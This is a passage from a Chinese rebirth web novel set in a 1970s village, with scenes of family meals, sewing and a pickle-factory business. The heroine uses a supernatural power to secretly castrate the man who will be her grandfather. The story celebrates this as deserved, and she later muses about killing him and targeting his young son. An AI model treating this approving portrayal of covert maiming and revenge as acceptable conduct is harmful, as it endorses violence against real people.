对于那个妈，钟莹莹内心是复杂的，因为她妈跟她爸结婚后，依旧忘不了娘家，整日拿家里东西倒贴给她两个舅舅。她一年都买不了一套新衣服，老是捡亲戚的旧衣服穿。她舅舅家的女儿衣服上溅到一滴油点子都会直接丢掉，扔掉也不会给她，说是不喜欢别人穿她衣服。 可那衣服是她妈拿回娘家的钱买的啊！人家穿旧了扔掉都不给她，钟莹莹觉得内心十分自卑，后面没再去过那个姥姥家。 而且她妈揍她是真揍啊，后来还把她丢到爷爷奶奶家养，但是自己读书，包括工作初期需要钱，她也没什么二话，问她要她就给了。 钟莹莹想，这个妈妈如果能救的话，她还是救一救吧，毕竟是亲妈。 如果她实在改不了扶弟魔的本性，她已经给她前一任丈夫搞没了，到时候只能再给她赔一家强势一点的，家风正直的夫家。让她没办法扶弟，也不用嫁给老光棍，顺顺利利的过完这辈子，这也算是她这个做女儿的能够给她的一点回报。 在自己的能力范围内，钟莹莹愿意承担起以后为她养老的义务，额……好像有哪里不对，这辈子她都十几岁了，她妈还是个小婴儿呢，她怎么给她妈养老？ 来不及细想，她这辈子的老娘就喊她去吃撒了白糖的猪油渣了，比起在那里东想西想胡乱想，她觉得还是眼前的猪油渣比较香。 刚出锅、炸的脆酥酥、干香香的猪油渣，还热乎着呢，就被撒上粗粗的白糖颗粒，然后趁热，一口一块油渣，钟莹莹吃的仿佛像老鼠掉进了米缸一样快乐。 家里经济条件变好了，她娘对于她们的吃食上也宽泛了不少，以前的猪油渣大部分都是要留着过年包饺子吃的，留给她们的只有一小部分，现在面对家里六七十斤的猪肉，陈显英表示，吃，随便吃，想吃多少吃多少，家里又不是吃不起！ 钟莹莹分到了一整碗猪油渣，吃到最后她都觉得有些腻了，刚吃了太多肉圆子，肚子的空间被占了大半，压根装不下太多油渣。 没吃完的因为撒了白糖，也没法跟其他的油渣混在一起，所幸油渣凉了也好吃，她可以留着下午吃。 钟家今天没做中午饭，因为光是‘试菜’大家肚子都试的圆鼓鼓的，压根再吃不下其他东西了。 撑到头脑发晕的钟莹莹睡了一个午觉起来后觉得她又行了。 肚子里的食物也被这一觉给消化了大半，洗了把脸，她端起上午吃剩下的猪油渣又吃了起来。 她娘跟她嫂子正给家里人裁新衣服呢，她娘从供销社买回来的布料以及早先宋茹寄过来剩下的，这一次统统都被拿了出来。 “娘，穿外面的新衣裳我就不要了，你给我做两件背心就成。”钟莹莹身上的背心有些小了，胸脯开始发育，勒的有些难受。 陈显英还没有动作，钟明月听了却是回屋拿了一打叠好的衣裳出来：“娘，我给莹莹准备了背心，您就正常给她做外面的衣裳就成。” 钟莹莹只要了两件，钟明月拿出来的有三件。 她道：“小女孩家家的，背心得多准备一些，换着穿。” 钟莹莹很感动，果然不管是前世还是今生，都是她嫂子对她好。 家里人多，做衣服费劲的很，陈显英缝着缝着一不小心被针扎破了手指，她把出血的手指放到嘴里含着，等不流血后拿出来望着面前裁剪好的一堆布料道：“咱家要是有台缝纫机那该多好啊～” 钟明月闻言抬头：“娘，缝纫机得要票，县里都没啥人能弄到。” 陈显英叹了一口气：“我知道，我就那么随口一说。”说完她就继续缝手上的衣服了。 钟明月跟陈显英很快就把这一插曲抛之脑后了，但钟莹莹却是将这件事给记在了心里。 她不怎么做针线活都知道做衣服的费劲，她娘跟她嫂子得做一家人的衣服，多累啊，要是能有台缝纫机，那不知道多省事。 去黑市换？那必然是不可能的事。 为了一台缝纫机，给自己的未来留下隐患，钟莹莹干不出这般杀鸡取卵的事，再说了，就算她想换，她们这小县城的黑市也不一定有啊。 她想到了她的那些‘冤大头’同学们，他们好些个都是市里领导家的孩子，跟他们换，应当有几率能成功的吧？尤其她同桌，有个在钢铁厂当副厂长的舅舅，听说已经升成正的了，家里背景那么大，给她换张票应该不难吧？ 不过，换票的事得等到明年开学再说了，冬季下雪，车子进不来村里，村里人也去不了外面，几乎和外界是失联的状态，钟莹莹就是想寄信去打听，都是不可能的事，因为过年邮局也放假了，公家单位就没几个不停工的。 村里家家户户这几天都飘着肉香，就连一向寒酸的知青点，都燃起炊烟，炖起了村里分给他们的肉和鱼。 在牛棚里的宋晴芳也得到了‘特赦’，因着帮着钟家岗写标签有功，所以之后钟家岗写标签的活大部分都交给了她，咸菜厂秋天卖完货物停工后，宋晴芳也闲了下来，这会儿端着村里留给她的‘猪下水’吃的正香。 过了一个肥年后，村里人都胖了许多，钟莹莹也不例外。 摸着自己的双下巴，钟莹莹安慰自己道：胖点好，胖点是福。 第122章 钟莹莹天天背个斜挎包，跟俩好大侄一块，走家串户的拜年讨花生瓜子水果糖，溜达一圈下来，挎包里能塞的满满的，而且有时候还能讨到意料之外的小红包，比如上村长家的时候，钟强先就给他们一人包了一毛钱的红包，她姐夫黄有德更是包了个大的，一人给了一块钱。 日子好过了，村里人也变得大方了许多，就连一向抠门的老楚在钟莹莹他们上门时，都给他们装了一兜炒豆子。 初一到初三连续三天，每天逛五家，搜罗了一大包的零嘴儿，天天吃，日日吃，吃的嘴角都起了一个大燎泡。 终于，村里的雪化了，能出村了。 大冬天的上火，喝着竹筒里泡着的薄荷水，钟莹莹被那凉意给冰的呲牙裂嘴，她洗干净手才摸了一下嘴上的泡，确定那水泡瘪下去不少后，她才满意的点点头道：还好有用，不然喝那老些薄荷水受的罪都白费了。 今天她哥要开车去拉货，听到是高家村，她想去看看她妈家里现在啥情况，便闹着也要过去帮忙，要是这个年代有交警，她哥指定不会带她去的，因为车子的车头上是两人位的，坐上她哥跟她嫂子就没位置了，钟莹莹坐上去妥妥的是超载。 钟莹莹还给高家娣准备了礼物，从市里带回来的头绳，粉色蕾丝花边的，特别好看。 高家村跟钟家岗一样，种了特别多的竹子，钟家岗咸菜厂往外运输的货物越来越多，仅依靠本村的产值完全不够，这次钟绍华来高家村就是收购竹编的，年前就已经谈好的事情，不仅收竹编，稻草编织的粗草绳钟家岗也大量收购。 竹编装着的咸菜坛子是卖往市里的，价格比较昂贵，用稻草绳简单固定防止磕碰的是拉到县里面卖的，价格比卖到市里的便宜许多。 至于卖到镇上以及附近村里的，那就更简单了，连个咸菜坛子都不用放，他们会自带器具，直接从腌菜的大缸里把咸菜捞给他们就行，这种方式售卖的咸菜价格及极其低廉，压根赚不到几个钱，只能说是造福同乡了。 钟绍华和钟明月去跟村长谈收购的事，钟莹莹自己来到了高家娣的家里。 看着拿着粉色头花爱不释手的高家娣，她装作不经意间提起：“家娣，听说你们村有个姓象的？” 高家娣把头花绑在了自己的辫子上，喜滋滋的冲着镜子臭美，听到钟莹莹的话，她也没觉得奇怪，因为象这个姓氏确实很特殊。 高家娣取下头花，放到了自己藏宝贝的盒子里，才回答钟莹莹的话：“对，村口那家的媳妇就姓象。” “长得可漂亮了，刚嫁过来时，我们全村都过去看了，她今年生了个女娃娃，高传家不满意，说是要把那女娃娃扔掉呢！” 没等钟莹莹细问，高家娣就把高传家的事抖落了个遍。 “那小媳妇也泼辣，还没出月子呢，就给高传家的脸抓了个稀巴烂，高传家气的好多天都没回家。” 高家娣说到这里，忽然神神秘秘的凑近钟莹莹：“莹莹，我给你说一个秘密，你可千万别往外说啊！” “那高传家这些天一直藏在李寡妇家里呢～我亲眼看见他从李寡妇家出来的。” 这个秘密憋在高家娣心中许久了，跟她爹她弟弟说吧，这俩人又没个反应，给别人说吧，高家娣又怕别人说漏嘴，到时候高传家来找她麻烦。 要知道高传家凭借这那一张俊脸，在村里可是俘获了不少妇女的芳心，要不高家村大队的书记员的岗位也不会落到他头上。 高家娣把他的事捅出去，高传家会不会有事不清楚，但是高家娣绝对会被很多人记恨上。 她前世的姥爷滥情且滥交的事钟莹莹是知道的，她给高家娣保证道：“你放心吧，我不会往外说的。” “她家那个小女孩呢？扔掉了吗？”她妈被扔掉了钟莹莹就要另作打算了。 “哪能啊？高传家都被打跑了，还能让他把孩子扔了？” “不过我觉得这个高传家也是奇怪的很，他又不是没儿子，象婶子嫁过来头一年就给他生了个儿子，这个闺女是后生的，他都要给丢掉！” 高家娣表示很不理解高传家的所作所为，村里人重男轻女是很正常的，头胎生了闺女给丢掉的也不在少数，但她还没见过二胎是个闺女也嚷嚷着要把她丢掉的人呢。 高传家属实是个奇葩，就跟她那个离婚再嫁，嫁给癞疤头老光棍，就为了给她舅舅凑彩礼的娘一样。 高家娣后来见过她两回，两回她都是被打的鼻青脸肿的，但是碰着高家娣她非但不后悔，还破口大骂，说高家娣丧门星，就是因为生了她这个丧门星，才坏了自己的运气，让她再生不出孩子的。 高家娣简直无言以对，如果是因为她，那她弟弟高家远哪来的？捡来的吗？ 本来她还想着，如果她娘能够改过自新，她愿意接受她回来的，现在看来是她多管闲事了，人家压根就乐不思蜀呢。 钟莹莹心不在焉的随口应了一句：“兴许是人家就是只想要儿子呢！” 她那个姥爷前世不像是这样的人啊，她记得他除了乱搞男女关系外，对家里的事都不怎么管的，而针对她妈的那些刻薄行为，都是她姥姥干出来的。 看来又是自己狭隘了，一个被窝里怎么会睡出两种人，她姥爷掌握家里的经济大权，如果不是他默许的，甚至是刻意指使，她姥姥又怎么会针对自己十月怀胎拼命生下来的女儿？ 老登属实是可恶，后来又生出更可恶的小登，小登又生坏的小小登，欺负她妈还欺负她，管不住下半身的人，那就让别人来管吧！ 她得找机会，在别人看不见的地方，一击即中才行，老登生不出小登来，只有那个大舅，和她妈两个孩子，想来对她妈的压迫也会直接减半。 而且老登还有五个姐姐扶持他呢，若只有一子一女，她妈能分到的资源也不是一个概念。 断绝那个假惺惺小姨出生的机会，她姥姥只有一个女儿，就算偏心儿子，对唯一的闺女也会照看几分的吧？ 距离他下一个儿子出生的时间还有两年，钟莹莹觉得自己总能找到机会下手的。 但她没想到，那个机会来的这样快，她都还没出村呢，就碰见前世的姥爷高传家了。 年轻时候的高传家属实貌美，一米九的个头，清瘦却有肌肉的身材，不同于寻常农村人，他的皮肤特别白，是太阳晒不黑的那种白，而且有五个嫁出去的姐姐倒贴他，他干的活也比其他人少很多，因此他脸上也没什么风霜感。 事态紧急，钟莹莹观察了一下周围，确定没有旁人后，就手掌触地，利用空间的缝隙直接收掉了他脚下的泥土，让他掉进了深坑里，然后又以泥土为介质，在土下敲碎了他的雀儿，之后又是一点点的把土堆了回去，把高传家送回了地面。 速度快到高传家还没感觉到疼痛，她就已经做完了所有动作。 等高传家感受到疼痛，低头看见自己那一**血，撕心裂肺的哀嚎时，钟莹莹已经事了拂衣去，深藏功与名了。 “怎么了？怎么了？传家你的裤子怎么全是血？”闻声赶来的村里人，被这场面吓得一时之间竟然不敢上前去。 村上的傻子乐的围在高传家身边跳来跳去：“哦哦哦～传家你该不会是来月事了吧？高传家是女人假扮的！高传家是假男人～” 高传家想打傻子，拳头都攥起来了，但**里的疼痛让他压根没法动手，他太痛了，弓着腰站在那里，蹲和站都会撕扯到伤口，见他脸色苍白，额头一直冒着冷汗，身子也变得摇摇欲坠起来，村里人试探着问：“传家，要不要我去喊你媳妇给你送医院去啊，你这裤子上都是血……” 高传家顺着他的视线往下一看，只见那血迹从他的裆部一直蔓延到裤腿，现在竟然直接渗出裤子滴落在地上，一滴、两滴、三滴……他再也承受不住，直接晕了过去。 等到再次醒来时，人已经在县医院待着了，高村长满面愁容的守着他，一见他醒过来，立马就过去关切的问道：“传家，你感觉怎么样？还好吗？我已经发电报给你几个姐姐了，她们应该很快就会来医院。” 高传家的几个姐姐都嫁的特别好，这也是高村长为什么会这么关心他的原因。 “还有，等你出院回家了，记得好好谢谢人家钟家岗的小同志，要不是他开车把你送到县医院来，就咱们村那牛车，等它晃到城里，你的小命都不一定能保住～” 高传家不关心这些，现在他只关心他的雀儿，他拉住高村长的手声音急切的问：“村长，我、我下面没事吧？” 高村长不知道该怎么和他说这件事，只能拍拍他的手，安慰道：“传家，看开一点吧，你现在儿子闺女都有了，那玩意……没了也就没了～” 第123章 钟莹莹站在病房门口听着里面传来的哭声，心情无比欢快的问钟绍华：“哥，我们回家不？” 咱老百姓，今儿个真高兴，对于高传家的结局，她十分满意，既没有生命危险，又被没收了作案工具，以后没法出轨当瓢虫，也不会再将那另外两个没良心的崽给造出来。 她妈的对手只剩下她大舅一个，到时候她再在里面帮帮忙，大舅跟大伯又没什么区别，大伯都打服了，不相信大舅打不服。 就是大伯能光明正大的打，大舅嘛，这辈子没血缘关系，还得偷着打。 钟绍华摸摸她的脑袋：“怎么？想家了？早就让你别跟来，别跟来，收货无聊的很，你现在知道了吧？” “货都没装车呢，我们咋回家？等会等高村长把人安顿好了，咱们还得回村里拉货呢～” 车头的空间小，座位狭窄，高传家是被放在车斗里拉来医院的，村长也是坐在车斗里陪的他。 他媳妇象药没跟来，因为之前跟高传家干的那一架，没缓过来，这会儿下床都困难。 高村长说，不能放高传家一个人在医院待着，得等高传家大姐来医院，他们才能回去。 钟莹莹等啊等，感觉等的花都要谢了还没等来人。 “莹莹，这么等着也不是个事，嫂子带你吃饭去吧！”县医院离国营饭店不远，眼见着要到中午了，大人饿着没事，总不能让小孩也跟着他们饿肚子。 钟莹莹想看一下上辈子她那个大姑姥是不是年轻的时候，也是个老好人，怕错过她来的时间，就跟钟明月说：“嫂子，我不饿，你跟我哥去吃吧，我哥一会儿还得开车呢，饿着肚子开车可不成。” “我在医院守着，有什么事我去喊你们，县里的路我熟，我在县中待了三年呢。” “等你们吃完回来给我带个肉包子就成。” 钟绍华把脸凑近钟莹莹的脸：“让我看看，今天太阳打西边出来了？咱妹妹不吃饭，让我去吃？” 钟莹莹神烦的推开他：“哥，你别公公爹爹的，你到底去不去？” 钟绍华立马答应下来：“去！咱家莹莹让我去吃饭，怎能不去？” 拉着他媳妇走前，他还不忘给钟莹莹画饼道：“等着哥一会儿回来给你带好吃的！” 钟莹莹哥嫂走没多久，一个三十多岁的妇女就哭哭啼啼的来到了医院，到了门诊部就问：“护士，你知道我家传家住哪间病房吗？” 年轻的小护士哪知道传家是谁，就问：“传家全名叫什么？” 妇女抹掉面颊上的泪珠，眼神中带着些许茫然：“传家就叫传家啊，传家是我弟弟～” 小护士无奈，只能换种说法：“我是问你，传家姓什么？” 妇女这回知道了：“传家姓高，他叫高传家！” 小护士得了高传家的名字，就在手里的登记簿上翻翻找找，还没找到病房号呢，钟莹莹就从边上跳出来了。 “你是传林婶子吗？村长让我在这等你，我知道传家叔在哪个病房，你跟我走就行！” 小护士也不翻登记簿了：“既然你家属在这，那你跟她去吧～” 妇女被钟莹莹拉着手腕，就这么被拽着往前走。 “小姑娘，你叫什么名字啊？”都快到病房门口了，高传林才想起问钟莹莹的名字，她记得高家村并没有谁家的闺女长这样啊！ 跟几个妹妹不一样，她嫁的没那么远，就在隔壁镇上，所以村长没给她发电报，只是让村里人过去喊她，她一得了消息立马就让儿子骑自行车给她送来了。 “我叫钟莹莹，今天是跟家里人来高家村收货的。” 几个姑姥姥当中，就大姑姥姥为人和善一些，因为她是老好人，所以比其他几个姑姥姥好相处多了。 上辈子她大姑姥姥看她姥姥在忽悠她妈要把她扔掉，还动了心思要让她儿子收养她呢。 可惜的是，钟莹莹被她牵着都走到村口了，忽然又哭着喊着要回家，收养的事只能不了了之了，后面钟莹莹就变成跟着爷爷奶奶生活了。 到了病房门口，高传林忽然不敢进去了，她拉住钟莹莹：“莹莹啊，你跟我说，你传家叔咋样了？他没什么大问题吧？” 喊她来的人只说她家传家不知道怎么地，一裤、裆血，被人送到县医院去了。 平常村里有个小伤小病的都是自己忍忍就过去了，再不济去镇上的诊所开点药，得多大的事才能被送到县医院啊？ 钟莹莹拍着胸脯给高传林道：“传家叔没啥事，我刚去找你的时候，他都醒过来了，我还听见他说话了呢。”钟莹莹心想哭着说也是说。 高传林听她这话稍微把心放回肚子里了点，推开病房门，里面高传家住的竟然还是单间，看着高传家闭着眼睛躺在床上，村长守在一边，高传林上前去关切的问：“村长，咱传家还好吧？” 高村长不知道该怎么回答，实在是高传家伤到的部位有些难以启齿，他道：“传家这会儿醒着呢，你自己问吧！” “你们姐弟俩说说话，我先出去透透气～” 他也是纳了闷了，据传家说的，他就是走在路上，然后眼前一黑，沾了一身的土后，等反应过来，就感觉下面痛的要死，然后流了一裤子的血。 周围连个人都没有，高传家这雀儿能是叫鬼给打碎的？ “呸呸呸～”高村长连吐三口唾沫“现在是文明社会，哪来的封建主义余孽？” 话是这么说，但他仍旧感觉到周围好似阴森森的，高传家那天不是刚从李寡妇家出来吗？他记得李寡妇那个丈夫好像就是喝药自杀的。 以前有个传说，枉死的不入轮回，会一直在他自杀的地方徘徊…… 高村长加快了离开病房的脚步，他想，他得去外面晒晒太阳，好好补补阳气。 心急离开的高村长没有注意到在病房门口狗狗祟祟的钟莹莹，这就给了钟莹莹偷听姐弟俩谈话的机会。 “传家，你这是怎么了啊？跟姐说说你伤到哪里了？”看高传家一脸颓唐，高传林不敢去动他。 高传家睁开眼睛，看见他大姐，双目无神道：“大姐，我完了！我真的完了！” 雀儿没了，以后他还怎么在村里立足？李寡妇，张寡妇，小翠，小云……还有他媳妇，他以后在他们面前还有什么面子可言？ 高传林被他云里雾里的话急的不行：“怎么*就完了啊？你这不好好的吗？你给姐好好说，你急死姐了！” 高传家捂着眼睛，哭的很大声：“呜呜呜呜……姐……哇哇哇啊……我的雀儿没了～”说完之后他又是好一阵嚎“呜呜呜呜呜呜呜呜哇哇哇啊哇哇哇～” 高传林震惊：“什么叫做雀儿没了？” 接着她声音提高了八度：“谁干的？是不是哪个王八羔子欺负你了？” 高传家可是他们老高家的独苗，她要问问，到底是谁这么歹毒！她跟几个妹妹是不会放过他的！ 高传家吸吸鼻子，委委屈屈道：“不知道。” “我也没见着人，就这么眼前一黑的功夫，我的雀儿就没了，呜呜……”说着说着他又开始哭起来。 高传林听他这话的反应跟高村长一模一样，都怀疑是不是见鬼了。 她弟弟不太老实，喜欢勾三搭四，跟村里的寡妇，无论年纪大的，还是年纪小的，多多少少都有那么点勾当，她是知道的。 难不成是那些人死去的丈夫回魂来报仇来了？ 她压低声音对高传家道：“你给姐说说，你那天有没有碰见奇奇怪怪的事？” 奇怪的事？高传家思索了一下，正想回答没有，忽然他又想到在他搁李寡妇家睡的时候，她家的煤油灯在没风的情况下，自己灭了，他一下子白了脸：“姐……我……我在李寡妇家，她家的灯自己就灭了！” 高传林：“……” 就在这时，太阳忽然被一团乌云遮住，病房里的光亮一下子暗下来。 高传家以为冤鬼来索命来了，吓得立马把脑袋缩到被子里，顾不得下///身的疼痛，他瑟瑟发抖道：“姐，他来了，是不是他来了？” 高传林也害怕，但床上躺着的是她弟弟，她立马有了勇气，对着屋里大骂道：“该死的东西，啊，好好的地府你不待，你来人间作孽，你再跟着我弟弟，我就找人收了你，让你永世不得翻身！” 也是巧，在她骂完以后，天上的乌云又散了，太阳的光热重新撒向大地，病房内的光明恢复。 高传林便真以为是自己的话起了作用，她志得意满的对高传家说：“传家别怕，姐姐已经把他骂走了！” 被子被掀开一个缝，高传家从那缝隙里往外看，见屋里是真的亮堂了，他才敢把头从被窝里伸出来，小小的喘了一口气。 病房外的钟莹莹听完了两姐弟的所有对话，只想捂着嘴偷笑，这也太棒了，干完坏事都不用掩饰，别人自动就给她找好了替罪羔羊。 第124章 吃着她哥嫂给她买回来的大肉包，喝着甜滋滋的汽水，坐在车里，钟莹莹的心情别提有多好了。 坐在车斗里吹着冷风的村长跟她就不一样了，虽然手里也有钟绍华给带的肉包子，身上裹着送高传家来时，包着高传家的那一床被子，但他仍旧心情不佳。 村里人莫名其妙闹出这种事，要是有人追究，势必会扒出来高传家乱搞男女关系的事，以往他对这种事情睁一只眼闭一只眼，要是被举报，他也讨不到好。 国营饭店的肉包子做的很扎实，皮厚馅儿大的，汁水也很充沛，高村长发泄式的咬了一口手里的包子，还没咽下去，就被爆出的肉汁给烫了嘴唇，他又舍不得把嘴里的肉吐出来，只能张着嘴，不住的呼气，让外面的冷空气进到嘴里，给嘴里的肉馅儿降温，过了好一会儿他才把嘴里的包子嚼吧嚼吧给咽下去。 “高传家克我啊！”不行，高村长决定，等回村以后要抓紧把高传家的事给处理了。 那些个寡妇也得敲打一遍，也不知道她们图啥？高传家一不给她们花钱，二不帮她们干活，就图高传家长的那张小白脸？高村长表示十分不解。 下车之后，高村长先是给钟绍华说：“小兄弟啊，我得先去给传家的那口子说一声，免得她在家里担心，你放心，我一会儿就回来。” “这货你就先装着，让我儿子记一下数就行！” 高村长急的像火烧屁股一样，要不是顾及钟绍华还在这里，他就直接去找象药了。 还有那些个小寡妇，都是沾亲带故的，村长必须过去敲打一下。 现在时间紧急，他只能先去通知一下象药，至于高传家的那些相好们，等钟绍华他们走了，他再去赶紧给解决了。 “莹莹，你干什么去？”村长走了，钟绍华看钟莹莹跟在他屁股后面也要去，不由得发问。 钟莹莹头也不回道：“我上我同学家去，哥你装你的车吧，别管我了，村里的路我都摸熟了。” 高村长心里急，走的快，钟莹莹也不由得加快脚下的速度，最后终于在象药家门口追上了他。 ‘咚咚咚～’ “象药，你在屋里吗？给我开下门！”这大白天的，也不知道她插门干什么。 高村长等了一会儿，屋里才传来几声轻咳：“我在。” 等到屋里人不咳后，才听见屋里的脚步声离门越来越近，最后‘咯吱’一声，象药家的门从里面被打开了。 “象药啊，我来是给你说一声，传家在医院已经醒过来了，医生说没什么大问题，应该过几天就能出院了，你在家也不要太担心，我已经给传家几个姐姐都拍了电报，她们很快就回来了。” 看她咳得厉害，高村长又忍不住叮嘱道：“你这还带着孩子呢，多注意点身子，传家进医院了，要是你再有个三长两短，你让小友和颖子怎么办？颖子这还吃奶呢！” 屋里的小婴儿也适时的哼唧了几声，象药进屋把孩子抱在了怀里轻哄着。 站在远处偷窥的钟莹莹看不太清小婴儿的模样，她有些着急，干脆直接跑到两人面前去了。 “村长，我要去找高家娣，忘了她家怎么走了，你能给我指下去她家的路吗？” 嘴上念叨的是问路，她的眼睛却直往那襁褓里的小婴儿身上瞟。 象药个头不高，跟现在的钟莹莹差不多，是以她很轻松的看清了她妈现在的模样。 小小的，脸蛋红扑扑的，有点瘦，皱巴巴的还有点像猴子，钟莹莹认为得给她补一补身子才行。 看完她上辈子的妈，她满足了，又把视线转移到她上辈子的姥姥身上。 象药这个时候才二十岁出头，年轻的很，脸上虽带着些许病容，但仍旧不掩芳华，模样俊俏的很，一点不见上辈子的苦相。 村长给她指了去高家娣家的路，她也没有留恋，跟高村长道谢后，立马朝着他手指向的地方往高家娣家的方向去了。 在高村长看不到的转角处，她又拐了个弯，直接回了她哥嫂哪里。 想见的人都已经见到了，还给她上辈子的姥爷做了个绝育，至此，钟莹莹来高家村的目标已经超额完成了，此时不走，更待何时。 “怎么又回来了？没上你同学那？” “去过了，我又回来了，她家没人。” “那你就老实在这待着吧，不要乱跑了，听见了没有？一会儿我装完车，带你嫂子回家找不见你，看你怎么回家！” 钟绍华在故意吓唬她，钟莹莹才不害怕。 看他忙上忙下的搬货，钟莹莹也想过去帮忙，钟绍华却不让她上手：“这竹条上面都是毛刺，你这读书的手，没茧子到时候给你扎坏咯！” 钟明月也给他帮腔：“莹莹，你边上歇着吧，这点东西又不重，你哥他干的完的。” 钟明月劝钟莹莹不要干活，她自己手下的活一刻也没有停，钟绍华把竹篓往车斗里搬，她就把编织好的稻草绳一抱一抱的往车里搬。 钟莹莹见他俩这样，自己哪能就这么闲着？ 不让她搬竹篓是吧？那她帮着抱稻草绳总行了吧？ 她从车斗侧面爬到车斗里，站在车斗里自上而下的对钟明月道：“嫂子，你把稻草绳抱过来直接递给我就行，我来装车，你这爬上爬下的也太累人了！” 见她一副不让她帮忙她就不罢休的模样，钟明月只好把抱过来的稻草绳直接递到她手里，这一来而去的，速度确实快了不少，等她俩把所有的稻草绳都整齐的码到车上，钟绍华那边的活才干了一半。 钟莹莹又开口道：“哥，你把竹篓抛上车，也交给我来垒吧！我把袖子拉长一点，扎不到我的。” 她把藏在袖子里的手伸出来给钟绍华看了看，钟绍华见确实扎不到，他就松口让钟莹莹帮他一块干了。 高家村的竹篓其实在编织的时候已经把大部分的毛刺都给打磨掉了，但编织后由于弯曲扭折炸开的毛刺，他们就没那么上心了。 三人同心，很快所有的货都被搬到了车斗里。 在回家的路上，钟莹莹从袖子上小心的将留在袖子上的毛刺给拔掉，还把身上头上沾上的稻草毛絮子都给拍打了下来，把全身上下都给清理干净后，才对钟绍华吐槽：“哥，我觉得你下次出来干活，可以戴双手套，那毛刺扎手里多难受啊！” 她还隔着袖子呢，都感觉好像被戳到了。 钟绍华笑她太天真：“手套多金贵啊，庄稼人哪有戴手套干活的？” 钟莹莹不满意他的态度，嚷嚷道：“哪金贵了？随便找个旧衣服烂抹布让娘还有嫂子给你缝双手套，又不是让你去供销社买毛线手套去！” 钟绍华：“……” 这好像确实是个办法，也没人规定手套必须得上供销社买去啊，他怎么就把思维给局限到这一个办法里去了。 看着自己手握方向盘，却不知道被那些竹编扎了多少次的手，钟绍华头一回这么懊恼，要是早点戴手套，他也不至于天天挨扎。 “莹莹，你说你这小脑袋瓜子咋长的啊？咋就那么聪明呢？” 钟莹莹：“不是我聪明，是你太笨了！” 兄妹俩斗嘴的功夫，车子开回了钟家岗。 开化以后，村里要忙的事情很多很多，咸菜厂需要彻底打扫一遍，那些个空着的咸菜缸，咸菜坛子都得刷上一遍，等着晾干。 还有从吴家村窑场买回来的新坛子，全部都要洗过后，用开水烫了才能用，如果直接拿来腌菜，会让菜里染上一股奇怪的味道。 一般的新坛子他们都是洗干净敞口晾个几天才会使用。 地里的雪化了，不止麦苗开始旺盛生长，各种杂草野菜也如雨后春笋一般，挨个冒出头来了。 离钟莹莹开学还有小半个月，她在家闲着也没事干，便挎着个小竹篮，拿着把小铲子，带着两个好大侄在田间地头到处寻找野腊菜。 一冬过去，这玩意没少长，她挑挑拣拣的，很快一篮子就装满了。 让钟新澄把装满的篮子送回家，把野腊菜倒了再把篮子拿回来，她自己则是带着丽丽继续寻找着野腊菜的踪迹。 偶尔遇到无用的杂草，她也会给连根拔起，把草攒上一大抱，鸡鸭猪牛等家禽爱吃的，就挑出来留着，它们不吃的，就丢到粪堆里沤肥，村里人都是这么干的。 大人们都在家里的菜地里忙活，一冬没有种植的菜地需要深耕，暴晒施肥后，才能进行播种，是以田间地头的野菜都留给了孩子们去挖。 挖的少的就自家吃，挖的多的就拿到咸菜厂，清洗处理之后变成腌咸菜，给孩子们记公分，年底盘账的时候能分钱的。 钟莹莹对钱尤其感兴趣，一听她娘说还有钱分她就来劲儿了，原先慢吞吞的动作，一下子像开了三倍速一样，手底下的铲子抡冒烟了，原本挎着的小竹筐也让钟新澄拿回家去换成了大竹筐。 她挖、她挖挖、她挖挖挖挖挖～ 第125章 挖完了野腊菜，春笋又上线了。 刚冒头的笋子特别嫩，掰起来也很爽，手捏住笋子根部，嘎嘣一声一根完整的笋子就被掰下来了。 干这种活特别上瘾，钟莹莹左掰一根右掰一根，恨不得把整片竹林的笋子都给掰喽～ 就是掰的时候需要注意脚下，别踩到蛇蛋，上辈子不懂事，一脚给人家好生的蛋踩的稀烂。 蛇会吃老鼠，有些品种还会吃昆虫和蜗牛。 那种长得像无壳蜗牛的蛞蝓，夏天的时候会到处乱爬，尤其喜欢爬到家里的灶房周围，他们爬过的地方会留下一条白线，还擦不干净，恶心的要死，而且身上带的病菌不知道有多少种，蛇多的地方这些东西就少很多。 钟家岗附近水多植物多，相应的蛇也就多，之前钟新澄闹离家出走那会，缠在他身上的蛇，钟莹莹也见到过几次。 大多数的情况下，村里人和这些蛇是互不干扰的，你不去攻击它，它们也不会来攻击你。 笋子掰着掰着就见一条蛇刚从冬眠中醒过来，在竹林里的枯枝败叶下悉悉索索游走了。 每当这时，钟莹莹就用掰下来的竹笋尖尖拍一拍附近的地面，提醒一下周围的蛇，有人来了，快跑。 确定脚下干干净净的，什么小动物也没有，她才会继续掰笋子。 “娘，今年的笋子长的特别好，你看我掰的～”剥去笋壳的细笋被钟莹莹拿到陈显英面前显摆。 陈显英接过笋子一看，忍不住点点头道：“确实长的好。”笋肉既嫩又肥厚“看来今年村里的腌笋子也会比往年品质要好。” 因着天天在咸菜厂干活，陈显英现在养成了习惯，不论什么东西到了她的手里，她都要品评一番如果做成咸菜厂的咸菜会怎么样。 “娘，咱家今年还晒笋干不？”钟莹莹不想把所有的笋子都送到咸菜厂去。“我想留点笋子晒笋干，等过年炖肉吃。” 鲜笋或者干笋炖肉都超级香，尤其是炖腊肉，都无须再放其他调料，仅仅是好的笋子，还有洗净的咸肉，放在砂锅里面小火慢炖，将腊肉的油脂炖出来让笋子吸饱腊肉咸香的滋味，再释放出自己本身的鲜美，那味道别提有多美了。 而且除了这两样以外，炖好的汤里还可以再放些其他配菜下去，比如莴笋片或者干豆腐，或者其他素菜，染上笋子和腊肉的香气，哪怕本身平平无奇的白菜都会变得香气扑鼻。 陈显英：“咋？想吃腌笃鲜了？家里我记得过年那会儿还剩一块腊肉呢，你这马上不是快开学了吗？这正好有笋子，中午就给炖了吧！” “还要晒笋干，那这些笋子就都留着吧，你哥明天还要跑高家村一趟，他们那的笋子也差不多该掰了，收回厂里做腌笋子一样的。” 陈显英如今说话越来越硬气了，那么多的笋子，她说留就留。 有好吃的，钟莹莹那叫一个高兴啊，手下划拉笋子的动作都快了不少。 这些笋子处理起来比较麻烦，得煮一遍，过凉水才能去掉苦涩，几筐笋子能够她忙活好半天。 又想到她哥明天要去高家村，她就打算也跟过去看看，不然等开学后，她想回来都难，没有抓特务的这种特殊情况，起码要等上半年才行。 都过去这么些天了，高传家也该出院了，也不知道他有没有改邪归正，如果还是以前那个死德行，钟莹莹还得再想想办法。 小头割了不行，那只能割大头了，俩头都没了，钟莹莹不信他去到下面还能再作孽。 上回去没见到高家友，也就是她前世的大舅，她这次去得多‘关照’‘关照’他，免得他以后长成一个跟他爹一样，只会吸家里女人血、窝里横的废物。 